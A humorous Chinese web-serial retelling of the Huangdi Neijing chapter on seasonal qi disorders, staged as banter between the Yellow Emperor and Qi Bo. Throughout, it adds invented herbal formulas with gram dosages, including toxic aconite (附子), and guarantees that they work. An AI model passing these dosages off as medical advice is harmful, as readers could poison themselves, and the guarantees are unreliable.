想象一下，如果这时候有个老中医，他一看这形势，立刻就会拿出他的“秘密武器”——什么武器呢？当然是药方啦！不过，这可不是普通的药方，而是根据五行八卦、天地变化精心调配的“神药”。 他会拿出黄芪、金银花、连翘这些清热解毒的宝贝，每种来个30克（想象一下，这是你在超市买零食的分量），再来点麦冬、生地滋阴润燥，也是各30克，最后加点薄荷、竹叶，清凉一下，各15克。把这些药材放在一起，就像是在调配一个复杂的烤肉方子，只不过这次的“烤”对象是你的身体，目的是要把你体内的“热火”给灭了。 当然啦，除了吃药，老中医还会告诉你，这时候得学学乌龟，慢慢来，别急。因为脉象这时候就像是过山车，忽高忽低，你得学会“淡定”，就像看股市，涨了别高兴太早，跌了也别急着跳楼。要学会“心平气和”，多听听古典音乐，或者跟着大妈们跳跳广场舞，让心情跟着节奏摇摆起来，把体内的“郁闷小王子”给摇出去！ 咱们再聊聊脉象。这时候的脉象，就像是幼儿园里的小朋友们，一会儿兴奋得乱蹦乱跳（洪脉），一会儿又安静得跟小猫咪似的（细脉），让人捉摸不透。你得学会“读心术”，哦不，是“读脉术”，通过感受脉象的变化，来判断身体内部的“天气情况”。比如，如果脉象跳得特别快，像是要冲出天际，那可能是热气太盛了；如果跳得慢吞吞，像是被雨淋湿了的小兔子，那可能是冷气太重了。这时候，你就得赶紧调整生活方式，别让身体的小宇宙爆炸了！ 岐伯开始讲起了“巳亥之岁”的故事，咱们就当他是在开一场脱口秀吧！ “咳咳，各位看官，咱们说这巳亥年啊，那可是个特别的年份。这时候呢，阳明燥金之气就像个大明星，本该从天上下来，给大地来个温柔的拥抱，结果呢，它却傲娇地悬在半空，只露了个脸，说是‘主窒地彤，胜而不入’。这话啥意思呢？就好比是说明星来了，但只是站在门口，不进门，还摆出一副‘我很厉害，你们得仰望我’的架势。” “更逗的是，如果这时候太阳寒水这位老前辈还没退休，还在岗位上坚守呢，阳明燥金这位新来的小伙子就更不好意思了，直接就不敢下来了。这样一来，火运这位老兄就趁机而入，说：‘嘿，既然你不来，那我来凑个热闹！’于是，火运就开始接管了舞台，结果呢，火上加火，本该清爽的秋天却变得干燥又热乎乎的。” “这时候啊，天空倒是挺清朗的，但那股子热气，哎呀，简直就像是在蒸桑拿！老百姓们可就遭殃了，一个个头昏脑胀，晚上睡不着，白天还犯困，喉咙干得跟沙漠似的，不停地喝水，心里还烦躁得要命，就像是吃了辣椒又喝了烈酒，那叫一个‘懊热内烦’啊！” “而且啊，这天气还特会捉弄人，早晚凉爽一会儿，中午又热得跟夏天一样，反复无常。这阳明燥金之气呢，长时间不下来，就在上面憋着，憋久了，就变成了‘伏之化郁’，就像是你心里有个事儿，一直憋着，最后就成了个结，对吧？这时候，天气就变得又冷又清，还时不时冒点白雾，就像是冬天提前来了预告片。” “老百姓们呢，这时候就开始出现各种症状了，比如身体不受控制地抖动（咱们现代说法就是‘掉’，想象一下，就像是跳广场舞的大妈，但完全不受音乐控制），头晕目眩，手脚僵硬得跟冰棍似的，还感觉不到疼，两肋下面疼得跟有人拿针扎一样，眼睛呢，就像是布满了红蜘蛛网，看不清楚东西。” “说到这儿啊，岐伯老爷爷估计得开个方子给大家伙儿治治。别急，这方子大概是怎么配的呢？” “首先啊，得有点清热的药材，比如黄连，大概来个30克，就像是在炎炎夏日里给你一杯冰镇可乐，清凉一下。然后呢，加点润肺的，比如百合，来个50克，让你的肺啊，像是喝饱了水的海绵，软绵绵的。再来点舒肝解郁的，比如柴胡，来个20克，让你的心情像风筝一样，高高飞起来，不再郁闷。还有啊，得有点活血化瘀的，比如丹参，来个40克，让你的血液流通顺畅，就像高速公路上的车，嗖嗖地跑。” “当然啦，这只是个大概的方子，具体还得看个人体质和病情。不过，咱们可以想象一下，如果那时候的医生拿着这个方子，是不是也得跟现在一样，一边开药一边叮嘱：‘记得按时吃药，多喝水，少吃辣，多锻 炼哦！’” “至于脉象嘛，这时候的人脉象啊，就像是秋天的树叶，虽然还算有生命力，但已经开始显得干燥、细弱了。你得仔细摸，才能感觉到它在跳动，就像是捉迷藏的小孩，你得用心去找，才能找到它。” 岐伯说：“在那个子午年（咱们就理解为某个特定的年份吧），太阳这家伙，它本该好好待在天上，结果呢，却想着往地里钻。可是啊，地爷爷不乐意了，说：‘你小子，想占我地盘？没门儿！’于是，太阳就被挡在了外面，进不去。这事儿还没完，要是再赶上土元素（咱们可以理解为自然界的湿气、土壤这些）特别旺盛的时候，就像是大自然提前开启了‘加湿模式’，那太阳就更别想进去了。这时候，天空就会出现一片黑压压的，好像老天爷也心情不好，整天阴沉沉的，偶尔还飘点黄黄的雾气，湿漉漉的，冷飕飕的。这样的天气一多，人们就容易生病，比如说突然晕倒（咱们可以想象成是起床太猛，眼前一黑那种感觉），手脚像灌了铅一样重，提不起劲，甚至男性朋友还可能遇到‘难言之隐’，力气小得像只小猫。” “而且啊，这天儿啊，就像是个情绪不稳定的小孩，一会儿阴沉着脸，一会儿又给你来点湿气，像是在跟你玩捉迷藏。这样的环境久了，那些本该流通的气啊、湿啊，就都憋在体内，出不来了，就像咱们家里太久没打扫，灰尘都堆成山了。这时候，人们就更难受了，什么大病小灾的都找上门来了。” 想象一下，那个太阳啊，它就像是咱们班的调皮鬼，整天想着逃课去地里玩泥巴。可是呢，地爷爷可是个老顽固，根本不买它的账，直接给它来了个闭门羹。太阳无奈，只能在天上溜达，眼巴巴地看着地下的世界。 再来说说那个土元素，它就像是咱们学校的清洁工阿姨，一到下雨天，她就特别勤奋，拿着大拖把到处洒水，搞得整个校园都湿漉漉的。这时候，太阳要是想下来玩，那简直就是痴心妄想，因为整个地面都被“加湿模式”覆盖了。 所以啊，咱们人要是长时间待在这样的环境里，那身体肯定受不了。就像咱们长时间待在潮湿的地下室，肯定会觉得不舒服，对吧？这时候，身体就会出现各种问题，比如突然感觉头晕目眩，手脚无力，就像是被施了魔法一样，动弹不得。 而且啊，这天气还特别喜欢玩变脸游戏，一会儿阴沉沉的，像是在酝酿什么大阴谋；一会儿又给你来点雾气蒙蒙的，像是在跟你玩捉迷藏。这样的天气多了，咱们的身体就像是被堵住的下水道，那些本该流通的气啊、湿啊，都堵在里面出不来了。 这时候啊，咱们就得想办法给身体“打扫卫生”了。不过呢，我可不是要你们真的去扫地哦！而是要通过一些中医的方法来调理身体。比如说啊，咱们可以按摩一些穴位，比如足三里（就在小腿外侧，膝盖下三寸的地方），这可是个养生大穴，经常按按，能增强免疫力，让你少生病哦！ 当然啦，要是病情严重点呢，咱们还可以用点中药方剂。比如说啊，有个叫“四逆汤”的方子（别误会，这可不是让你去跟谁吵架哦！），它是由附子、干姜、甘草组成的。附子能温阳散寒，干姜能温中散寒，甘草呢，能调和药性。咱们可以把这三种药材按照一定比例（比如说附子15克，干姜15克，甘草6克）放在一起煮，煮成浓浓的一碗汤，然后趁热喝下去，保证你能感觉到一股暖流从肚子里涌出来，整个人都暖和起来了！ 本病论篇第七十三（五） 黄帝有一天心血来潮，对岐伯说：“嘿，岐伯，我这心里有个疑惑啊，就像那风筝线绕成了一团乱麻，怎么也解不开。你说这人体里的气血啊，有时候升不上去，也降不下来，就像上班高峰期的高速公路，堵得那叫一个严实。你能不能给我讲讲，这背后的‘宗’啊，到底是哪路神仙在搞鬼？” 岐伯一听，捋了捋他那长白胡子，笑眯眯地说：“哎呀，黄帝陛下，您这问题可真是有深度啊，不过别担心，我这就给您来个‘迁正’大揭秘，保证让您听得明明白白，笑得合不拢嘴！” 黄帝一听，眼睛一亮：“哦？迁正？听起来像是古代皇帝搬家似的，快说说，这人体里的‘皇帝’啥时候搬家，又是怎么搬的？” 岐伯清了清嗓子，开始了他那绘声绘色的讲解：“首先啊，咱们得明白，人体里有个‘朝廷’，那就是咱们的中焦，也就是脾胃那一带。这‘朝廷’里有个‘正司’，就像皇帝坐的那个龙椅，代表着当前掌权的‘司天’。比如说，现在要是太阴湿土司天，那它就是坐在龙椅上的那位大佬。” 黄帝点头如捣蒜：“嗯嗯，懂了懂了，那迁正呢？是不是就像皇帝退位，新皇帝登基？” 岐伯哈哈大笑：“正是如此！不过啊，这迁正可不是那么简单的事儿。要是前任‘司天’不肯乖乖让位，比如说，它本该在交接的日子退位，结果因为力量太过强大，余威犹存，就像那个总是不愿意下班的加班狂人，那新‘司天’可就头疼了，只能继续待在幕后，没法正式登台唱戏。” 黄帝一听，也乐了：“哈哈，这不就是职场里的‘老赖’嘛！那新司天怎么办？总不能一直躲在幕后当隐形人吧？” 岐伯继续解释：“所以啊，这时候人体就会出现问题。前任‘司天’霸占着龙椅，新司天无法迁正，气血运行就乱了套，升降不前，就像公司里老板不换，政策不改，下面的员工都无所适从，工作效率自然就低了。” 黄帝若有所思：“原来如此，那有没有什么办法能让这‘迁正’顺利进行呢？总不能每次都靠自然淘汰吧？” 岐伯摇了摇头，又点了点头：“哈哈，黄帝陛下，您这可是问到点子上了！虽然咱们不能直接动手把前任‘司天’拉下来，但可以通过调节身体，让它自然平衡。比如说，可以通过调整饮食，多吃些对应季节的食物，就像给身体换个口味，让它知道现在是时候换季了。再比如，适当的运动，就像给身体做做瑜伽，拉伸拉伸，让气血流通起来。” 黄帝一听，眼睛更亮了：“嘿，这办法不错！不过，岐伯啊，你这说的都是生活方式的调整，有没有什么更直接的，比如穴位按摩、吃点啥药之类的？” 岐伯一捋胡子，神秘一笑：“当然有啦！比如说，您可以按摩一下‘足三里’和‘合谷’这两个穴位，它们就像是身体里的‘助理秘书’，能帮您疏通经络，促进气血运行。至于吃药嘛，那可得小心了，毕竟‘是药三分毒’，不过，如果您真觉得需要，我可以给您开个方子，比如‘逍遥散’，它就像是身体的‘心理咨询师’，能帮您缓解压力，让气血顺畅起来。” 黄帝一听，乐不可支：“哈哈，岐伯啊，你这比喻真是太绝了！那逍遥散怎么配啊？需要多少克？” 岐伯摸了摸下巴，思考片刻：“嗯，逍遥散嘛，一般由柴胡15克、当归15克、白芍15克、白术15克、茯苓15克、甘草10克组成。把这些药材放到锅里，加水没过药材，大火煮沸后转小火煮个半小时，滤掉药渣，就能喝了。不过啊，记得要适量，别喝成了‘逍遥醉’！” 岐伯悠悠地说：“要是那个厥阴经啊，它不按套路出牌，不乖乖地换季站岗，那可就有好戏看了！”想象一下，厥阴经就像是咱们身体的“季节管理员”，它要是罢工或者迟到早退，那春天的风景可就惨喽！ 首先，咱们得明白，“厥阴不迁正”是啥意思呢？简单来说，就是自然界的阴阳之气没按规矩来，春天该暖和不暖和，搞得风也不是时候地吹，就像天气预报说晴天，结果却下起了雨，让人措手不及。这样一来，那些娇艳欲滴的花儿们可就遭殃了，一个个耷拉着脑袋，像是被谁欺负了似的，萎靡不振，咱们就叫它“花卉萎瘁”。 这时候，咱们人类朋友也别想逃，跟着遭殃！你可能会觉得小便不太顺畅，像是有东西堵着，医学上叫“淋溲”。还有啊，眼睛周围像是被啥东西扯着，转来转去的，不舒服极了，这就是“目系转”。更糟糕的是，有时候腿肚子还会突然抽筋，疼得你龇牙咧嘴，这就是“转筋”。情绪也变得像六月的天，说变就变，一会儿高兴，一会儿生 气，让人摸不着头脑。还有个小秘密，你可能还会发现小便颜色变得红红的，像是喝了红酒，其实是身体在报警呢！ 岐伯接着说道：“本来风是想来助威，让春天暖和点的，结果寒气就是不退场，搞得春天暖洋洋的气氛都不对了，这不，春天就错过了它该展现魅力的时刻嘛！” 好啦，讲到这里，咱们来点实际的。虽然咱们没法穿越时空去调整那个厥阴经，但咱们可以学学怎么保养自己，避免这些问题。比如，咱们可以想象自己是个“人体小太阳”，多吃一些温补的食物，比如红枣、生姜，给身体加点火力，让寒气无处遁形。还可以按摩按摩咱们的“足三里”穴（在小腿外侧，膝盖下约三寸的地方），这可是个养生大穴，能帮助咱们调理脾胃，增强免疫力，让身体暖洋洋的。 说到方剂，我可以给大家介绍一个简单易行的“养生小方子”——枸杞红枣茶。材料简单，就是枸杞一小把（大约10克），红枣几颗（去核，大约20克），加水煮沸后转小火煮10分钟，就可以喝了。这个茶不仅味道甜甜的，还能滋补肝肾，益气养血，特别适合这个季节喝，让你从内到外都暖洋洋的。 再聊聊脉象，正常情况下，脉象就像是一条平稳流淌的小溪，不快不慢，力度适中。但如果厥阴经出了问题，脉象可能会变得急促或者迟缓，力度也可能时强时弱，就像小溪里突然多了几块大石头，水流就变得不顺畅了。这时候，找专业的中医大夫把把脉，就能发现问题所在，然后对症治疗啦！ 岐伯慢悠悠地说：“要是少阴这家伙（这里少阴可不是指某个人，而是中医里的一个概念，代表肾和心包的某种能量状态）不肯乖乖地按时到位，那就糟糕了，就像家里的暖气系统突然罢工，冷气嗖嗖地就是不退。结果呢，春天本该春暖花开，万物复苏，结果却冷得跟冬天似的，时不时还来个回马枪，让人直打哆嗦。这可不只是天气的事儿，咱们的身体也跟着遭殃了。” 想象一下，你穿着短袖短裤，满心欢喜地迎接春天的到来，结果一阵寒风吹过，哎哟妈呀，直接给你来了个透心凉！这时候，你可别光顾着抱怨天气，因为你的身体已经开始报警了——一会儿冷得直打颤，一会儿又热得冒汗，这“寒热交加”的滋味可不好受。四肢呢，就像被无数只小蚂蚁爬过一样，又麻又痛；腰和背呢，僵硬得跟木头似的，弯个腰捡个东西都得小心翼翼，生怕一不小心就“咔嚓”一声，把自己给折了。 岐伯接着说：“虽然树木（这里指的是五行中的木，代表生长、条达之气）在春天是应该蓬勃生长的，能量满满，但是呢，它也不能太嚣张了，得知道谁是老大——对，就是君火（这里指心脏的功能，中医认为心为君主之官，五行属火），君火大哥一不高兴，木小弟就得乖乖听话。” 说到这里，咱们不妨来个小插曲，想象一下，如果木气是个调皮捣蛋的孩子，君火就是家里的老爸，老爸一发话：“嘿，小子，别太过分了！”木气立马就得收敛点，不敢造次。 好了，回到正题，咱们怎么应对这种情况呢？中医讲究的是“治未病”，意思就是提前预防，别等到病来了才着急。既然是因为少阴不按套路出牌，咱们就得想办法让它回归正轨。不过，别急着找穴位、开方子，咱们先来个轻松愉快的“心理疗法”。 想象一下，你站在一片春意盎然的草地上，阳光温柔地洒在你身上，微风拂面，带来阵阵花香。你闭上眼睛，深深地吸了一口气，哇，那叫一个清新脱俗！这时候，你体内的少阴仿佛也被这股温暖的力量所感染，慢慢悠悠地回到了它该去的地方。当然了，这只是个美好的想象，实际操作起来，咱们还得靠点谱。 说到穴位，咱们不妨按摩按摩“肾俞穴”和“心俞穴”。肾俞穴，顾名思义，就是肾脏在背部的反射区，位于第二腰椎棘突下，旁开1.5寸（这里的寸是中医特有的计量单位，大约相当于你自己的中指弯曲后第二节的长度）。心俞穴呢，就是心脏在背部的投影，位于第五胸椎棘突下，也是旁开1.5寸。每天早晚，找个舒服的地方坐下来，用双手的拇指或者中指，对着这两个穴位，轻轻地按揉，每穴大约5分钟，力度以感到酸胀但不疼痛为宜。长期坚持，你会发现，不仅身体暖和多了，心情也跟着舒畅起来。 至于方剂嘛，咱们来个简单又实用的“温阳汤”。方子大致如下： 黄芪30克（补气固表，提高免疫力）、肉桂5克（温阳散寒，暖脾胃）、附子10克（温补肾阳，但有毒性，需慎用）、当归15克（补血活血，调和气血）、炙甘草10克（调和药性，缓急止痛）。把这些药材洗 干净，放入砂锅中，加入适量的水（大约没过药材两指宽），先用大火烧开，然后转小火慢慢炖煮30分钟到1小时，直到药汤变得浓稠，颜色深黄。滤掉药渣，趁热喝上一碗，保证你从头暖到脚，整个人都精神焕发！ 岐伯悠悠地说：“要是那个叫做‘太阴’的家伙不按时搬家，也就是不按季节规律来，那可就热闹了，云雨都会乱套，万物都得遭殃，本该生机勃勃的季节，却变得死气沉沉，连植物都只能干瞪眼，看着自己的生命之火一点点熄灭。” 咱们现代人可能听不懂什么“太阴不迁正”，但想象一下，如果春天不下雨，夏天不热，秋天不凉，冬天不冷，那世界得乱成啥样？就像你期待已久的小长假，结果老板突然说：“哦，那个假期啊，咱们今年不过了。”是不是瞬间心碎一地？ 岐伯接着说：“这时候，老百姓可就苦了。他们的手脚啊，胳膊腿儿啊，莫名其妙就开始肿起来，跟吹气球似的。肚子呢，也不争气，变成了‘大肚腩’，喝水都胖的那种。还有啊，心里堵得慌，吃不下饭，吃啥拉啥，简直就是人体的‘漏斗’。更惨的是，肋骨两边胀得难受，手脚软绵绵的，连根筷子都举不起来。” 岐伯又说：“本来吧，这时候应该下雨滋润一下，给大地降降温，结果呢，热气还是霸道地占据着天空，就像你的房间里开了暖气，外面却下着雨，你说这得多纠结？这股热气啊，它想温暖万物，结果用力过猛，变成了‘烤炉模式’，大地都快被烤干了。” 想象一下，如果人体是个小宇宙，那“太阴”就是那个掌管四季变换的超级英雄。结果这位英雄突然罢工，不按时上班，导致整个小宇宙乱套了。咱们的身体呢，就像是被遗忘的星球，既得不到雨水的滋润，也享受不到阳光的温暖，只能自己默默承受这一切。 不过，别担心，岐伯可是个神医，他不可能只说问题不给解决方案的。 比如说，对于手脚肿胀、大腹水肿的问题，岐伯可能会说：“来，咱们先揉揉‘涌泉穴’和‘足三里’，这两个穴位就像是身体里的‘排水阀’，多揉揉，水肿自然就消了。”涌泉穴呢，就在你的脚底心，想象一下，你站在海边，海浪一波波地拍打着你的脚，那就是涌泉穴在帮你排毒。足三里呢，在小腿外侧，多揉揉，感觉就像给小腿做了一次spa，轻松又自在。 至于吃不下饭、飧泄（就是吃什么拉什么）的问题，岐伯可能会开一副“健脾止泻汤”。这方子啊，得包含人参、白术、茯苓、甘草这些宝贝。人参呢，就像是人体的“小太阳”，能给你提供源源不断的能量；白术和茯苓呢，就像是身体里的“清洁工”，帮你把体内的湿气、毒素都扫出去；甘草呢，就像是个“和事佬”，让各种药材都能和谐相处，共同发挥作用。换算成现代剂量的话，大概就是人参10克、白术15克、茯苓15克、甘草5克，放在一起煮，煮得浓浓的，喝下去，保证你胃口大开，再也不怕拉肚子了。 当然啦，岐伯还可能会提到脉象。他说：“脉象啊，就像是大自然的节奏，有它自己的规律。如果太阴不迁正，脉象就会变得混乱不堪，一会儿快得像兔子跑，一会儿又慢得像蜗牛爬。”这时候呢，你就得静下心来，听听自己身体的声音。想象一下，你的脉搏是个会唱歌的小精灵，它有时候唱高音，有时候唱低音，你得学会跟着它的节奏走，找到那个和谐的点。 咱们来个小总结。岐伯说的这些啊，其实都是在告诉我们一个道理：人体和自然界是息息相关的。要想身体健康，就得顺应自然的规律，按时吃饭、睡觉、运动，还要保持好心情。就像咱们现在说的“养生”，其实就是和自己的身体做朋友，好好照顾它、爱护它。 本病论篇第七十三（六） 有一天，黄帝眉头紧锁，说：“岐伯啊，最近这少阳经怎么老是不按规矩来，搞得天下大乱，百姓也跟着遭殃，你给分析分析呗。” 岐伯捋了捋长胡子，慢悠悠地说：“这事儿啊，得从少阳不迁正说起。少阳呢，就像是咱们身体的‘小太阳’，负责调节体温，让身体内外和谐。但它要是调皮捣蛋，不按季节变换来，那就麻烦大了。” “你想啊，少阳不迁正，就像夏天的高温预警一直挂着，不下来。本该是万物生长的季节，结果庄稼（咱们可以理解为身体的细胞、组织）都被烤得焉焉的，连杂草（体内的小毛病）都提不起精神来。到了秋天，本该凉风习习，树叶飘落，它却还热得跟蒸笼似的，肃杀之气（身体的自我修复、排毒功能）迟迟不来，霜露也不按时报到，整个自然界的节奏都乱了套。” 黄帝一听，乐了：“这少阳君，还真是有个性啊！那百姓们会怎么样呢？” 岐伯叹了口气：“哎，百姓们可就苦了。痎疟（一种类似疟疾的病症，忽冷忽热）找上门，骨头里像火烧，心里七上八下，晚上还容易做噩梦，吓得跟见了鬼似的。更严重的，还会血溢（比如鼻出血、牙龈出血等），简直就是身体版的‘惊悚片’啊！” 黄帝一听，眉头皱得更紧了：“这可如何是好？咱们得想个法子，给少阳君提个醒，让它规矩点。” 岐伯笑了笑：“别急，咱们中医讲究的是‘天人合一’，既然天气乱了套，咱们就从身体内部调理起。比如说，咱们可以按摩或者针灸一些穴位，帮助少阳经回归正轨。” “比如说，有个穴位叫‘足少阳胆经’上的‘风池穴’，就在后脑勺那块儿，你摸摸看，是不是有个凹陷？每天按按这里，就像给少阳经开了一扇窗，让热气散出去，凉风透进来。还有‘阳陵泉’，在小腿外侧，按一按，就像给身体的小溪疏通了一下，气血就顺畅多了。” 黄帝一听，眼睛一亮：“这法子好，简单又实用。那有没有什么药方，能辅助调理呢？” 岐伯摸了摸下巴：“当然有，我给你开个方子，名叫‘少阳调和汤’。材料嘛，就是柴胡15克（柴胡就像少阳经的向导，能引导气血回归正道），黄芩10克（黄芩清热燥湿，就像给身体降火的小能手），白芍12克（白芍养血柔肝，让身体不那么急躁），生姜6克（生姜温中散寒，调和药性），大枣8克（大枣补气养血，给身体加点能量）。把这些材料放一起，加水煮个半小时，每天喝上一碗，保证你身体的小太阳乖乖听话。” 黄帝听完，哈哈大笑：“岐伯啊，你这方子听起来就像是给少阳君准备的一顿‘教育餐’，既温柔又有力道。不过，这脉象上怎么判断少阳经是否归位呢？” 岐伯微微一笑：“脉象嘛，也是有讲究的。如果少阳经不正常，脉象就会显得弦而有力，就像琴弦一样紧绷绷的。等调理一段时间后，你再摸摸看，脉象就会变得柔和而流畅，就像小溪流水，潺潺不息，那就说明少阳经已经回归正轨了。 岐伯悠悠地说：“要是阳明经这位老兄不按套路出牌，不乖乖地在它该出现的时候出现，那可就热闹了！” 咱们先说说这个“阳明不迁正”是咋回事。阳明经啊，就像是自然界的夏令时，它应该在夏天的时候火力全开，让大地万物都感受到那股子热腾腾的生命力。可要是它不按规矩来，提前开动了“烧烤模式”，那夏天就会热得早，热得猛，连草木都以为春天还没过呢，一个劲儿地往上窜，绿意盎然，生机勃勃，结果到了秋天，本该是落叶纷飞，一片萧瑟的时候，却因为之前那股子热劲儿，草木还傻乎乎地开着花，结着果，整个自然界都乱套了。 这时候，咱们人体这个小宇宙也得跟着遭殃。你想啊，阳明经这一捣乱，咱们体内的“小空调”就失灵了。夏天热得受不了，冬天冷得直哆嗦，一来二去，寒热交替，整个人都懵了。鼻子呢，也开始罢工，时不时来个“阿嚏”，鼻涕横流，就像是在跟谁说：“喂，我感冒了，懂不懂？”皮肤呢，变得跟枯树皮似的，干燥得要命，连指甲都失去了往日的光泽，变得枯黄焦脆，仿佛在说：“看我这副德行，都是阳明经闹的！” 更惨的是，有的人还会喘得上气不接下气，咳嗽得肺都要咳出来了，那声音，简直是“夜半歌声”，吓得邻居都以为咱家在开音乐会呢。心情也跟着一落千丈，整天愁眉苦脸，跟丢了钱包似的，快乐？不存在的！ 这时候，岐伯又说：“热劲儿一上来，干燥的气息却迟迟不来，就像是快递小哥迷路了一样，该到的干燥清爽的风就是不来。这样一来，肺这位娇贵的‘小公主’可就受不了啦，又得闹脾气了。” 咱们得给肺这位“小公主”送温暖啊！咱们得准备个“润肺清热大套餐”。首先，来点麦冬，大概20克吧，它就像是肺部的“保湿喷雾”，能让肺滋润起来；再来点百合，也是20克，百合嘛，一听就知道，能清心安神，让心情好起来，毕竟“笑一笑，十年少”嘛；还有知母，15克，它能清热泻火，就像是给身体里的“小火炉”浇点水；最后，别忘了桔梗，10克，它能宣肺祛痰，让呼吸顺畅起来，不然老咳嗽，肺都要咳出茧子了。 把这些药材放在一起，加水煮个半小时，一碗香喷喷的“润肺清热汤”就完成了。喝下去，保管你从头到脚都舒服，连心情都会跟着好起来，仿佛整个世界都亮了。 当然啦，说到脉象，这也是个大学问。岐伯那会儿肯定没血压计，但人家摸脉那是一绝。要是阳明经捣乱，脉象上也会有反应。想象一下，你的脉搏跳得跟打鼓似的，又快又急，那就是阳明经在作妖了。这时候，你得静下心来，深呼吸，告诉自己：“别急，别急，岐伯说了，这只是暂时的。” 说到这里，咱们不妨再脑洞大开一下，如果把人体比作一个国家，那阳明经就像是国家的“气象局”，它要是乱了套，整个国家都得跟着遭殃。而咱们呢，就像是国家的“健康卫士”，得时刻关注这个“气象局”的动态，一旦发现不对劲，就得赶紧采取措施，要么喝点“润肺清热汤”，要么做做深呼吸，练练瑜伽，让身心都得到放松。 岐伯说道：“太阳不迁正，这事儿可不简单。你想啊，冬天本来应该是寒冷干燥的时候，结果太阳一偷懒，冬天就变得跟秋天似的，清冷中还带着点寒意。这就好比咱们平时吃的火锅，突然没了辣椒，你说这味儿能对劲吗？ 更逗的是，这太阳偷懒还影响到了春天。本该是春暖花开、万物复苏的时候，结果杀霜还在前面挡道，寒冰在后面紧追不舍。这就像是咱们计划好的春游，结果天公不作美，下起了大雪，你说这心情能好受吗？ 不过呢，太阳这哥们儿也不是一直这么不靠谱。有时候，它也会突然醒悟，阳光普照大地，凛冽的寒风也就不再嚣张了。这时候，咱们就可以期待一下那云雾缭绕的美景了，但前提是得等个好时机。 可话说回来，这太阳的不靠谱，直接导致了咱们老百姓身体上的问题。你想啊，天气这么反常，咱们能不生病吗？所以啊，这时候就容易出现温病、瘟疫这些让人头疼的家伙。症状呢？就是喉咙像被堵住了一样，咽喉干燥得跟旱季的沙漠似的，心里烦躁得跟猫抓似的，还口渴得要命。更严重的是，有的人还会喘息有声，就像是跑步机上的老鼠，停不下来。 这时候啊，咱们就得看看这天气是不是太干燥了。要是干燥得厉害，咱们就得想办法治治这天气。不过啊，这可不是咱们能决定的，得看老天爷的脸色。所以啊，要是老天爷不给面子，咱们就得做好应对灾害的准备。 当然了，要是真的生病了，咱们也不能光靠看天气预报来治病。这时候啊，就得找医生了。医生会根据咱们的症状、体质啥的，给咱们开方子。说到方子啊，我就得给大家讲讲这个“温病方”了。 这个“温病方”啊，可是个好东西。它里面包含了好多中药材呢，比如金银花、连翘、板蓝根啥的。这些药材啊，都是清热解毒的高手。它们一起合作啊，就能把咱们体内的热毒给清除掉。 不过啊，这个方子可不是随便乱配的。它得按照一定的比例来配。比如说金银花得30克、连翘得20克、板蓝根得15克啥的。这些药材啊，都得精确到克才行。所以啊，要是你想自己在家配这个方子的话啊，可得小心了别配错了哦！ 当然了，除了吃药之外啊，咱们还得注意调养身体。比如说啊，平时得多喝水、多吃蔬菜水果啥的。这些啊都能帮助咱们清热解毒、增强免疫力啥的。所以啊，大家可别忘了哦！ 对了对了！说到这个脉象啊，我还得给大家讲讲。脉象啊，可是咱们中医看病的重要手段之一呢！它就像是咱们身体的“天气预报”一样，能够反映出咱们身体的状况。 比如说啊，要是你的脉象洪大有力的话啊，那就说明你的体内有热毒啥的。这时候啊，你就得注意清热解毒了。要是你的脉象细弱无力的话啊，那就说明你的体内气血不足啥的。这时候啊，你就得注意调养气血了。 有一天，黄帝老爷子悠闲地坐在龙椅上，手里拿着个竹简，眉头紧锁，像是在思考人生大事。他转头对身边的岐伯说：“岐伯啊，你说这天气变化的早晚，是不是就像咱们朝廷里的大臣们，有时候来得早，有时候来得晚，各有各的脾气和节奏呢？我特别想知道，这天上的神仙们，要是‘退休’了，或者说是换班了，咱们能不能提前知道点风声，给人间也来个天气预报啥的？” 岐伯一听，哈哈一笑，胡子都差点儿颤掉了，他说：“黄帝啊，您这问题问得，简直是给咱们的天文学加上了人间的烟火气！不过呢，要说这天上的神仙们‘不退位’，其实啊，就是他们的‘任期’还没到头，也就是说，他们的‘工作指标’还没完成呢！这就叫‘复布政’，说白了，就是再治理一年的意思。这天上的命令啊，就跟咱们朝廷的圣旨一样，一旦下了，就得照着执行，不到时候，那是绝对不能‘退休’的！” 黄帝一听，眼睛一亮，心想：这岐伯解释得还挺接地气嘛！于是他接着问：“那岐伯啊，你这‘天数未终’、‘天数有余’的，听起来就像是咱们人间的绩效考核啊！你说，这天上的神仙们，要是真的不退位，会不会也跟我们一样，有加班费啥的？” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 岐伯一听，差点儿没忍住笑出声来，他咳嗽了两声，正色道：“黄帝啊，您这可是真把天上地下都给联系起来了！不过呢，要说这神仙们的‘加班费’，咱们凡人可是想都不敢想啊！他们那是超脱世俗的存在，哪里会像我们这样，为了几个铜板而奔波劳碌呢？” 黄帝一听，点了点头，但又觉得有点儿不甘心，于是他又问：“那岐伯啊，你说这天上的神仙们，要是不退位，咱们人间会不会也跟着受影响啊？比如说，今年该下雨的时候不下雨，该刮风的时候不刮风，那可就麻烦大了！” 岐伯一听，连忙摆手，笑道：“黄帝啊，您这可是多虑了！这天上的神仙们，虽然有时候也会闹点小脾气，但总的来说，他们还是相当负责任的！就说这‘不退位’吧，其实啊，就是为了保证咱们人间的气候稳定，不会出现太大的波动！您想想看，要是天上的神仙们都像咱们朝廷里的大臣们一样，动不动就请假、退休啥的，那咱们人间还不得乱套了？” 黄帝一听，这才放下心来，他拍了拍岐伯的肩膀，笑道：“岐伯啊，你这解释得真是通俗易懂啊！看来，咱们这医学和天文学，还真是有异曲同工之妙啊！以后啊，咱们得多交流交流，说不定还能碰撞出更多的火花呢！” 岐伯一听，也是笑得合不拢嘴，他连连点头，说道：“黄帝啊，您这可是说到我心坎里去了！咱们这医学和天文学，虽然看起来是两门不同的学问，但说到底，都是研究天地万物、人体健康的奥秘嘛！以后啊，咱们不仅要交流，还要合作，说不定还能共同研发出一些新的‘方剂’来呢！” 本病论篇第七十三（七） 岐伯慢悠悠地说：“哎呀，要是厥阴这位老兄（咱们可以理解为自然界的一种能量或者气候状态）不肯按时下班，那可就热闹了！” 想象一下，厥阴就像是公司里那个总是加班到深夜的程序员，但它加班可不带加班费的，而且它的“加班”还会带来一系列连锁反应。首先，大风就会早早地来打卡上班，嗖嗖嗖地吹个不停，好像是在说：“看，我才是最勤奋的那个！”可问题是，这大风一来，该下的雨却迟迟不来报到，搞得大地妈妈都渴得直哼哼。 “湿令不化”呢，就像是厨房里炖的汤，火候不够，怎么煮都不入味，这湿气啊，就滞留在空气中，下不来也上不去，让人浑身不自在。 